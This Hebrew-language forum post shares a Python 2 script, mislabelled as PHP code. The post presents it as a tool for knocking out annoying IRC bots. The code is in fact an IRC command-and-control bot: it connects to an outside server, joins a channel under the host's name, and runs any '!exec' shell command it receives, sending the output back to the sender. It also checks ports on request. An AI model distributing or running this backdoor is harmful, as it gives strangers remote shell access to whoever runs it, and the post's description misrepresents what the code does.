למען הטעם הטוב וכדיי להיות מועיל לפורום החלטתי לשלוק חלק מהסקריפטים שלי.
להזכירכם, הסקריפטים ניתנים להפצה אך ורק בנתינת קרדיט.
אם פעם מעצבן אתכם איזה בוט במירק, עכשיו יש לכם דרך להוריד אותו!
קוד PHP:
# BotKill by CoreOxide
# ICQ 607874
#
#A tool for disabling an IRC bot
import socket
import os
import sys
from random import *
from time import *
class IRC:
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port=6667
self.ch_key=''
self.nick = 'me'+str(randrange(1000)) #bot name
self.entermsg='[+]ok' #send msg to chan after connect
self.autoentermsg=1 #send self.entermsg
self._exec='!exec' #prefix for shell command
self.bot_commands=['!exit','!port','!version','!get','!stop',self._exec]
# self.encoding='1251' #default Russian (encode in you irc client)
self.sleep=0.1 #delay between send !exec result lines
self.version='0.2'
def loop(self):
# try:
self.sock.connect((self.host, self.port))
self.sock.send('NICK %s\r\n' % self.nick)
self.sock.send('USER localhost localhost localhost : slavar\r\n')
self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
if self.autoentermsg: self.__sendprivmsg(self.entermsg)
while True:
self.res_data = self.sock.recv(1024)
print self.res_data #dbg
if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
self.sock.close()
print '[-]Serv error' #dbg
sys.exit(1)
if self.res_data.startswith('PING'):
self.sock.send('PONG : PING\r\n')
elif self.res_data.find('PRIVMSG')!=-1:
msg,msg_type,command,from_=self.__pars_privmsg()
print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
if (msg_type=="to_user" and command!=''): #this is a bot command
if command in self.bot_commands:
if command=='!exit':
self.__ircexit()
self.sock.close()
sys.exit(0)
elif command=='!version':
self.__sendto_user(from_,'Version= \x0303%s'%self.version)
elif command=='!exec':
stdout=os.popen(msg[(len(command)+1):])
for line in stdout.readlines() :
sleep(self.sleep)
self.__sendto_user(from_,line)
#print line #dbg
elif command=='!get':
"""DCC SEND will be later;)"""
self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
elif command=='!port':
# print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg
try:
x=self.__check_port(msg.split()[1],msg.split()[2])
except:
self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
x=-1
if x==1:
self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
elif x==-1:
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Close')
elif msg.startswith('\x01DCC SEND'):
print 'DCC SEND' #dbg
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
#except:
# print '[-]Error:',sys.exc_value
def __ircexit(self):
self.sock.send('QUIT :\x0302Go offline\r\n')
def __sendprivmsg(self,msg):
self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
def __sendto_user(self,user,msg):
self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
def __pars_privmsg(self):
msg=self.res_data.split(':',2)[2][:-2]
if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
else: msg_type= 'to_user'
from_= self.res_data.split('!')[0].replace(':','')
if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
else: command=''
return msg, msg_type,command,from_
def __check_port(self,host,port):
socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# socktest.settimeout(timeout)
try:
socktest.connect((host,int(port)))
return 1
except:
return 0
if __name__ == '__main__':
bot = IRC()
bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667)
bot.chan = '#chan'
bot.ch_key= 'key' #channel password
bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
# if os.fork():
bot.loop()